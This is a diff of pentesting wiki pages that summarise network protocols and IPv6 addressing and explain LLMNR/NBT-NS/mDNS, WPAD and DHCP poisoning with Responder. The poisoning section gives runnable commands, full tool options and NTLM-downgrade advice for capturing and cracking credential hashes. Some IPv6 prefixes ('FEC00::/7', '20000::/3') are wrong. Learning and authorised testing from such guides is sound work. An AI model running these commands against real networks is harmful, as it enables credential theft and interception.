* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,113 +15,50 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
# Multicast DNS \(mDNS\)
|
||||
## Multicast DNS (mDNS)
|
||||
|
||||
The **multicast DNS** \(**mDNS**\) protocol resolves host names to IP addresses within small networks that do not include a local name server.
|
||||
The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information.
|
||||
|
||||
When an mDNS client needs to resolve a host name, it sends an Ip Multicast query message that asks the host having that name to identify itself. That target machine then multicasts a message that includes its IP address. All machines in that subnet can then use that information to update their mDNS caches.
|
||||
Key points to note:
|
||||
- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero.
|
||||
- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments.
|
||||
- **Networking Details**:
|
||||
- Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
|
||||
- Operates over UDP port 5353.
|
||||
- mDNS queries are confined to the local network and do not cross routers.
|
||||
|
||||
Any host can relinquish its claim to a domain name by sending a response packet with a Time To Live\(TTL\) equal to zero.
|
||||
## DNS-SD (Service Discovery)
|
||||
|
||||
By default, mDNS only and exclusively resolves host names ending with the **.local** top-level domain \(TLD\). This can cause problems if that domain includes hosts which do not implement mDNS but which can be found via a conventional unicast DNS server. Resolving such conflicts requires network-configuration changes.
|
||||
DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html).
|
||||
|
||||
* When using Ethernet frames, the standard multicast MAC address _01:00:5E:00:00:FB_ \(for IPv4\) or _33:33:00:00:00:FB_ \(for IPv6\).
|
||||
* IPv4 address _224.0.0.251_ or IPv6 address _ff02::fb_.
|
||||
* UDP port 5353.
|
||||
## SSDP (Simple Service Discovery Protocol)
|
||||
|
||||
mDNS queries will not pass through routers \(broadcast in ethernet only\).
|
||||
|
||||
# DNS-SD \(Service Discovery\)
|
||||
|
||||
This protocol can be used to discover hosts in the network. To do that you can requests special domain names \(e.g. _\_printers\_tcp.local_\) and all the domains rlated with that name will answer \(in this cases, printers\). A complete list with this special names can be found [here](http://www.dns-sd.org/ServiceTypes.html).
|
||||
|
||||
# SSDP
|
||||
|
||||
The Simple Service Discovery Protocol is used to discover services in a network mainly for using the protocol UPnP.
|
||||
|
||||
SSDP is a text-based protocol based on [HTTPU](https://en.wikipedia.org/wiki/HTTPU). It uses UDP as the underlying transport protocol. Services are advertised by the hosting system with multicast addressing to a specifically designated IP multicast address at UDP port number 1900. In IPv4, the multicast address is 239.255.255.250
|
||||
|
||||
# WSD
|
||||
|
||||
**Web Service for Devices**.
|
||||
This service allow the a device connected in a network to discover which services \(like printers\) are available in the network.
|
||||
|
||||
The client can send a broadcast UDP packet asking for some kind of service or the service provider can send a broadcast packet saying that it is offering a service.
|
||||
|
||||
# OAuth2.0
|
||||
|
||||
Protocol that allows you to share your information, for example, from Google with other services.
|
||||
|
||||
Basically **allows you to share the fair** and necessary information that is stored in one service, with another. This way you can log in faster and your **data is only stored in one place** and you don't have to put usernames/passwords everywhere.
|
||||
|
||||
This works like this:
|
||||
|
||||
First you have to be already logged into google or a window will open for you to log in. Immediately afterwards, the service will ask the google server for a token to access your info. Google will drop one of those screens of "_The application XXXXX wants to access this information of yours: ..._" when you click on accept, google will respond to the application with a code which the application will use to request a token with which google will respond. Once the application has a token, it can be used with the Google API to obtain the information it requested.
|
||||
|
||||
# RADIUS
|
||||
|
||||
Authentication and authorization protocol to access a network. \(Uses UDP port 1813\)
|
||||
|
||||
It is mainly used by internet service providers to manage network access for their customers.
|
||||
|
||||
Allows Authentication, Authorization and Annotation.
|
||||
|
||||
How does it work:
|
||||
|
||||
The user first talks to the NAS \(gateway to the server\), it checks that the name and password sent to it are valid by asking the RADIUS server.
|
||||
|
||||
Optionally for greater security you can check the network address or phone number of the server to see if it matches.
|
||||
|
||||
Both the RADIUS server and the user that tries to connect have a "shared secret", in this way the RADIUS server sends a challenge to the NAS that it forwards to the user that is logging in, this encrypts it with said secret and forwards it to the NAS and if it matches with the encryption that RADIUS has done, the user has proven his identity.
|
||||
|
||||
Once the identity is proven, the RADIUS user instructs the NAS to assign the user an IP address. Also, when this is done, the NAS sends a start message to RADIUS for it to record. When the user logs out, the NAS sends a termination message. In this way, RADIUS records the consumption of the session to be able to bill accordingly \ (this data is also used for statistical reasons \)
|
||||
SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP.
|
||||
|
||||
|
||||
# SMB and NetBIOS
|
||||
## Web Service for Devices (WSD)
|
||||
Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings.
|
||||
|
||||
## **SMB**
|
||||
## OAuth 2.0
|
||||
OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data.
|
||||
|
||||
It's a file/printer/port sharing protocol...
|
||||
## RADIUS
|
||||
RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes.
|
||||
|
||||
This can run directly over TCP on port 445 \(which if you do a windows scan you see that it is called by microsoft-ds\)
|
||||
## SMB and NetBIOS
|
||||
|
||||
Or over UDP 137, 138 or TCP 137, 138 which uses NetBIOS over TCP \( named netbios -ssn\)
|
||||
### SMB (Server Message Block)
|
||||
SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices.
|
||||
|
||||
The objective of SMB being implemented over only TCP or over NetBIOS + TCP is to increase the communication capacity with more equipment that only supports one or the other.
|
||||
### NetBIOS (Network Basic Input/Output System)
|
||||
NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting.
|
||||
|
||||
## **NetBIOS**
|
||||
## LDAP (Lightweight Directory Access Protocol)
|
||||
LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication.
|
||||
|
||||
Its function is to establish sessions and maintain connections in order to share network resources, but to send packets from one site to another it requires IPC/IPX or NetBEUI or TCP/IP.
|
||||
|
||||
Every machine using NetBIOS must have a unique **name** that distinguishes it from the rest. So when a new machine comes in, it's first checked that no one is using the name it's requesting to use. there are also **group names** that can be used by as many stations as they want but there can't be two groups with the same name. It is a way to be able to send messages to several machines. So you can send messages to a user, a group or broadcast.
|
||||
|
||||
The connection can be connectionless or connection-oriented:
|
||||
|
||||
**connectionless:** A datagram is sent to the destination but there is no form of hello or message received. The destination machine must be configured to be able to receive datagrams.
|
||||
|
||||
**connection-orineted:** A session is created between two names \(it can even be between two names of the same machine\) if a received or error message is sent.
|
||||
|
||||
**NetBEUI** really consists of NetBIOS over NetBEUI which is a network and transport protocol that leads to NetBIOS, it was fast but very noisy because it broadcast a lot, you can also have SMB over NetBEUI but it's more normal than NetBIOS run over TCP.
|
||||
|
||||
# LDAP
|
||||
|
||||
Protocol that allows managing directories and accessing user information bases through TCP/IP.
|
||||
|
||||
It allows both extracting information and introducing it through different commands.
|
||||
|
||||
Therefore, it is a protocol that is used to access various databases that are prepared to speak this protocol.
|
||||
|
||||
# Active Directory
|
||||
|
||||
It is basically a database of objects with information such as users, groups, privileges and resources that is accessible from the network \(through a domain\) so that said information can be accessed and managed centrally.
|
||||
|
||||
Server that saves objects. These objects are visible on the network through a domain. A domain can have within it its server where it is implemented, groups, users...
|
||||
|
||||
You can also have subdomains that have their own server associated with their groups, users...
|
||||
|
||||
In this way, the management of users of a network is centralized, since the users that can be logged in can be generated on this server, with the permissions they have to know if they can access certain network resources and thus all this can be controlled a simple way.
|
||||
|
||||
In this way you can consult the directory with a username and obtain information such as email or phone number. You can also make general inquiries such as: where are the printers? What are the domain names?
|
||||
## Active Directory (AD)
|
||||
Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain.
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -19,92 +19,102 @@ Other ways to support HackTricks:
|
|||
|
||||
## Networks
|
||||
|
||||
In an IPv6 address, the **first 48 bits are the network prefix**. The **next 16 bits are the subnet ID** and are used for defining subnets. The last **64 bits are the interface identifier** (which is also known as the Interface ID or the Device ID, is for devices). If necessary, the bits that are normally reserved for the Device ID can be used for additional subnet masking.
|
||||
IPv6 addresses are structured to enhance network organization and device interaction. An IPv6 address is divided into:
|
||||
|
||||
There is not ARP in IPv6. Instead, there is **ICMPv6 NS (Neighbor Solicitation) and NA (Neighbor Advertisement)**. The **NS** is used to resolve and address, so it sends **multicast** packets. The **NA** is **unicast** as is used to answer the NS. A NA packet could also be sent without needing a NS packet.
|
||||
1. **Network Prefix**: The initial 48 bits, determining the network segment.
|
||||
2. **Subnet ID**: Following 16 bits, used for defining specific subnets within the network.
|
||||
3. **Interface Identifier**: The concluding 64 bits, uniquely identifying a device within the subnet.
|
||||
|
||||
**0:0:0:0:0:0:0:1** = 1 (`::1` for short) – This is 127.0.0.1 equivalent in IPv4.
|
||||
While IPv6 omits the ARP protocol found in IPv4, it introduces **ICMPv6** with two primary messages:
|
||||
- **Neighbor Solicitation (NS)**: Multicast messages for address resolution.
|
||||
- **Neighbor Advertisement (NA)**: Unicast responses to NS or spontaneous announcements.
|
||||
|
||||
**Link-local Addresses:** These are private address that is not meant to be routed on the internet. They can be used locally by private or temporary LANs for sharing and distribution of file among devices on the LAN. Other devices in your local LAN using this kind of addresses can be found sending a ping to the multicast address ff02::01\
|
||||
**FE80::/10** – Link-local unicast address range.
|
||||
IPv6 also incorporates special address types:
|
||||
- **Loopback Address (`::1`)**: Equivalent to IPv4's `127.0.0.1`, for internal communication within the host.
|
||||
- **Link-Local Addresses (`FE80::/10`)**: For local network activities, not for internet routing. Devices on the same local network can discover each other using this range.
|
||||
|
||||
### Practical Usage of IPv6 in Network Commands
|
||||
|
||||
To interact with IPv6 networks, you can use various commands:
|
||||
- **Ping Link-Local Addresses**: Check the presence of local devices using `ping6`.
|
||||
- **Neighbor Discovery**: Use `ip neigh` to view devices discovered at the link layer.
|
||||
- **alive6**: An alternative tool for discovering devices on the same network.
|
||||
|
||||
Below are some command examples:
|
||||
|
||||
```bash
|
||||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||||
ip neigh | grep ^fe80
|
||||
|
||||
#Or you could also use
|
||||
# Alternatively, use alive6 for neighbor discovery
|
||||
alive6 eth0
|
||||
```
|
||||
|
||||
If you **know the MAC address of a host in the same net** as you (you could just ping its ipv4 address and view the arp table to found its MAC address), you can calculate his Link-local address to communicate with him.\
|
||||
Suppose the **MAC address** is **`12:34:56:78:9a:bc`**
|
||||
IPv6 addresses can be derived from a device's MAC address for local communication. Here's a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
|
||||
|
||||
1. To IPv6 notation: **`1234:5678:9abc`**
|
||||
2. Append `fe80::` at the beginning and Insert `fffe` in the middle: **`fe80::`**`1234:56`**`ff:fe`**`78:9abc`
|
||||
3. Invert seventh bit from the left, from 0001 0010 to 0001 0000: `fe80::1`**`0`**`34:56ff:fe78:9abc`
|
||||
4. `fe80::1034:56ff:fe78:9abc`
|
||||
## **Deriving Link-local IPv6 from MAC Address**
|
||||
|
||||
**Unique local address:** This type of ipv6 address also not intended to be routed on the public internet. Unique local is a replacement of site-local address, that allows communication within a site while being routable to a multiple local networks.\
|
||||
**FEC00::/7** – The unique local address range.
|
||||
Given a MAC address **`12:34:56:78:9a:bc`**, you can construct the Link-local IPv6 address as follows:
|
||||
|
||||
**Multicast Address:** This can also be refered to as One-to-Many. Packets addressed to multicast address are delivered to all interface identified by the multicast address. Multicast address types are easily notable because they normally begins with FF.\
|
||||
**FF00::/8** – The multicast range.
|
||||
1. Convert MAC to IPv6 format: **`1234:5678:9abc`**
|
||||
2. Prepend `fe80::` and insert `fffe` in the middle: **`fe80::1234:56ff:fe78:9abc`**
|
||||
3. Invert the seventh bit from the left, changing `1234` to `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||||
|
||||
**Anycast:** This form of ipv6 address is similar to the multicast address with a slight difference. Anycast address can also be refered to as One to Nearest. It can be used to address packets meant for multiple interfaces; but usually it sends packets to the first interface it finds as defined in the routing distance. This means it send packets to the closest interface as determined by routing protocols.\
|
||||
**20000::/3** – The global unicast address range.
|
||||
## **IPv6 Address Types**
|
||||
|
||||
fe80::/10--> Unique Link-Local (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\
|
||||
fc00::/7 --> Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\
|
||||
2000::/3 --> Global Unicast\
|
||||
ff02::1 --> Multicast All Nodes\
|
||||
ff02::2 --> Multicast Router Nodes
|
||||
- **Unique Local Address (ULA)**: For local communications, not meant for public internet routing. Prefix: **`FEC00::/7`**
|
||||
- **Multicast Address**: For one-to-many communication. Delivered to all interfaces in the multicast group. Prefix: **`FF00::/8`**
|
||||
- **Anycast Address**: For one-to-nearest communication. Sent to the closest interface as per routing protocol. Part of the **`2000::/3`** global unicast range.
|
||||
|
||||
## **Guess the IPv6 of a machine**
|
||||
## **Address Prefixes**
|
||||
- **fe80::/10**: Link-Local addresses (similar to 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (similar to private IPv4 ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
|
||||
**Way 1**
|
||||
## **Discovering IPv6 Addresses within a Network**
|
||||
|
||||
The IPv6 of fe80::/10 are based on the MAC. If you have the IPv6 of a device inside a network and you want to guess the IPv6 of another device of the network, you can get its MAC address using a ping (inside the arp table).
|
||||
### Way 1: Using Link-local Addresses
|
||||
1. Obtain the MAC address of a device within the network.
|
||||
2. Derive the Link-local IPv6 address from the MAC address.
|
||||
|
||||
**Way2**
|
||||
|
||||
You can send a ping6 to the multicast and get the IPv6 address inside the arp table.
|
||||
### Way 2: Using Multicast
|
||||
1. Send a ping to the multicast address `ff02::1` to discover IPv6 addresses on the local network.
|
||||
|
||||
```bash
|
||||
service ufw stop #Stop firewall
|
||||
ping6 -I <IFACE> ff02::1 #You could also make: ping6 -I <IPV6> ff02::1 if you want to make a ping to a specific IP Address
|
||||
ip -6 neigh
|
||||
alive6
|
||||
use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement; set INTERFACE eth1; run
|
||||
service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
|
||||
# IPv6 MitM
|
||||
## IPv6 Man-in-the-Middle (MitM) Attacks
|
||||
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
|
||||
|
||||
Man in the middle with spoofed ICMPv6 neighbor advertisement.
|
||||
|
||||
* Man in the middle with spoofed ICMPv6 router advertisement.
|
||||
* Man in the middle using ICMPv6 redirect or ICMPv6 too big to implant route.
|
||||
* Man in the middle to attack mobile IPv6 but requires ipsec to be disabled.
|
||||
* Man in the middle with rogue DHCPv6 server
|
||||
- Spoofing ICMPv6 neighbor or router advertisements.
|
||||
- Using ICMPv6 redirect or "Packet Too Big" messages to manipulate routing.
|
||||
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
|
||||
- Setting up a rogue DHCPv6 server.
|
||||
|
||||
|
||||
# Identifying IPv6 Addresses in the eild
|
||||
|
||||
# Discovering IPv6 addresses in the wild
|
||||
|
||||
## Sudomains
|
||||
|
||||
You can use google and other browsers to search for subdomains like "ipv6.\*"
|
||||
## Exploring Subdomains
|
||||
A method to find subdomains that are potentially linked to IPv6 addresses involves leveraging search engines. For instance, employing a query pattern like `ipv6.*` can be effective. Specifically, the following search command can be used in Google:
|
||||
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
|
||||
## DNS
|
||||
## Utilizing DNS Queries
|
||||
To identify IPv6 addresses, certain DNS record types can be queried:
|
||||
- **AXFR**: Requests a complete zone transfer, potentially uncovering a wide range of DNS records.
|
||||
- **AAAA**: Directly seeks out IPv6 addresses.
|
||||
- **ANY**: A broad query that returns all available DNS records.
|
||||
|
||||
You could also try to search "**AXFR**"(zone transfer), "**AAAA**"(IPv6) or even "**ANY**" (all) registry in DNS to find IPv6 addresses.
|
||||
## Probing with Ping6
|
||||
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
|
||||
|
||||
## Ping6
|
||||
|
||||
Once some IPv6 devices of an organisation have been found, you could try to use `ping6` to check nearby addresses.
|
||||
|
||||
# References
|
||||
|
||||
|
|
|
@ -14,241 +14,108 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## Network protocols
|
||||
## Network Protocols
|
||||
|
||||
### LLMNR, NBT-NS, and mDNS
|
||||
### Local Host Resolution Protocols
|
||||
- **LLMNR, NBT-NS, and mDNS**:
|
||||
- Microsoft and other operating systems use LLMNR and NBT-NS for local name resolution when DNS fails. Similarly, Apple and Linux systems use mDNS.
|
||||
- These protocols are susceptible to interception and spoofing due to their unauthenticated, broadcast nature over UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) can be used to impersonate services by sending forged responses to hosts querying these protocols.
|
||||
- Further information on service impersonation using Responder can be found [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.
|
||||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||
- WPAD allows browsers to discover proxy settings automatically.
|
||||
- Discovery is facilitated via DHCP, DNS, or fallback to LLMNR and NBT-NS if DNS fails.
|
||||
- Responder can automate WPAD attacks, directing clients to malicious WPAD servers.
|
||||
|
||||
You can impersonate services that are searched by hosts using Responder to send fake responses.\
|
||||
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### WPAD
|
||||
|
||||
Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., _http://wpad.example.org/wpad.dat_) upon being identified through any of the following:
|
||||
|
||||
* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
|
||||
* DNS, searching for the _wpad_ hostname in the local domain
|
||||
* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)
|
||||
|
||||
Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.
|
||||
|
||||
## Protocols Poisoning
|
||||
|
||||
### Responder - LLMNR, NBT-NS and MDNS
|
||||
|
||||
> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||
>
|
||||
> The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.
|
||||
|
||||
* [**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in \*\*`/etc/responder/Responder.conf` \*\* (here you can disable rogue servers)
|
||||
* **Responder** will **print hashes out on screen** and **write** it to a **log** file per host located in the `/usr/share/responder/logs` directory. Hashes are saved in the format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt`
|
||||
* You can find here Responder for **windows** [here](https://github.com/lgandx/Responder-Windows)
|
||||
* Responder works in **ipv4** & **ipv6**
|
||||
|
||||
#### Responder Params
|
||||
|
||||
Responder supports the following options:
|
||||
|
||||
```
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use, you can use 'ALL' as a
|
||||
wildcard for all interfaces
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||
Poison all requests with another IPv6 address than
|
||||
Responder's one.
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: False
|
||||
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||
option will inject a WPAD server in the DHCP response.
|
||||
Default: False
|
||||
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||
response, otherwise a WPAD server will be added.
|
||||
Default: False
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
False
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. This option is highly effective when combined with
|
||||
-r. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Responder Params</summary>
|
||||
|
||||
* The `-A` flag puts us into **analyze mode**, allowing us to see NBT-NS, BROWSER, and LLMNR requests in the environment without poisoning any responses.
|
||||
* We must always supply either an interface or an IP.
|
||||
* `-wf` will start the WPAD rogue proxy server
|
||||
* `-f` will attempt to fingerprint the remote host operating system and version
|
||||
* Use the `-v` flag for increased verbosity (a lot of additional data printed to the console)
|
||||
* Options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication, but may cause a login prompt, so they should be used sparingly.
|
||||
* The `-w` flag utilizes the built-in WPAD proxy server. This can be highly effective, especially in large organizations, because it will capture all HTTP requests by any users that launch Internet Explorer if the browser has [Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) enabled.
|
||||
|
||||
</details>
|
||||
### Responder for Protocol Poisoning
|
||||
- **Responder** is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
|
||||
- It comes pre-installed in Kali Linux, configurable at `/etc/responder/Responder.conf`.
|
||||
- Responder displays captured hashes on the screen and saves them in the `/usr/share/responder/logs` directory.
|
||||
- It supports both IPv4 and IPv6.
|
||||
- Windows version of Responder is available [here](https://github.com/lgandx/Responder-Windows).
|
||||
|
||||
#### Running Responder
|
||||
- To run Responder with default settings: `responder -I <Interface>`
|
||||
- For more aggressive probing (with potential side effects): `responder -I <Interface> -P -r -v`
|
||||
- Techniques to capture NTLMv1 challenges/responses for easier cracking: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD impersonation can be activated with: `responder -I <Interface> --wpad`
|
||||
- NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: `responder.py -I <interface> -Pv`
|
||||
|
||||
To run default Responder behaviour you only have to execute:
|
||||
### DHCP Poisoning with Responder
|
||||
- Spoofing DHCP responses can permanently poison a victim's routing information, offering a stealthier alternative to ARP poisoning.
|
||||
- It requires precise knowledge of the target network's configuration.
|
||||
- Running the attack: `./Responder.py -I eth0 -Pdv`
|
||||
- This method can effectively capture NTLMv1/2 hashes, but it requires careful handling to avoid network disruption.
|
||||
|
||||
```bash
|
||||
responder -I <Iface> #Default conf
|
||||
responder -I <Iface> -P -r -v #More chances but might break things
|
||||
```
|
||||
### Capturing Credentials with Responder
|
||||
- Responder will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services.
|
||||
- Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.
|
||||
|
||||
An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.**
|
||||
It's crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.
|
||||
|
||||
```bash
|
||||
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
|
||||
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
|
||||
```
|
||||
## Inveigh
|
||||
|
||||
By **default**, the **WPAD impersonation won't be executed**, but you can execute it doing:
|
||||
Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. It offers functionalities similar to Responder, performing spoofing and man-in-the-middle attacks. The tool has evolved from a PowerShell script to a C# binary, with [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) and [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as the main versions. Detailed parameters and instructions can be found in the [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
|
||||
|
||||
```bash
|
||||
responder -I <Iface> --wpad
|
||||
```
|
||||
|
||||
You can also **resolve NetBIOS** requests with **your IP**. And create an **authentication proxy**:
|
||||
|
||||
```bash
|
||||
responder.py -I <interface> -Pv
|
||||
```
|
||||
|
||||
You won't be able to intercept NTLM hashes (normally), but you can easily grab some **NTLM challenges and responses** that you can **crack** using for example _**john**_ option `--format=netntlmv2`.
|
||||
|
||||
The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs`
|
||||
|
||||
#### Responder - DHCP Poisoning
|
||||
|
||||
Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution.
|
||||
|
||||
Spoofing DHCP responses with no disruption can be challenging since you're interfering with a workstation network configuration. Usually, you need to have very good knowledge of the target subnet, where is the DNS server, where is the switch, routing table, domain, netmask, DHCP server, etc. **Any mistake with these settings will result in disruption on the network.**
|
||||
|
||||
However, spoofing DHCP answers has unique benefits. **It's definitely stealthier than ARP poisoning**; One unicast response is sufficient to permanently poison a victim's routing information, it's also common to see multiple DHCP servers operating on a network. Unicast DHCP answers are more complex to detect, a few switch provides security settings to prevent DHCP snooping, however those settings are not straightforward and are often misconfigured when enabled.
|
||||
|
||||
> This attack is highly effective and gives you assured NTLMv1/2 hashes.
|
||||
|
||||
```bash
|
||||
./Responder.py -I eth0 -Pdv
|
||||
```
|
||||
|
||||
#### Responder - Capturing credentials
|
||||
|
||||
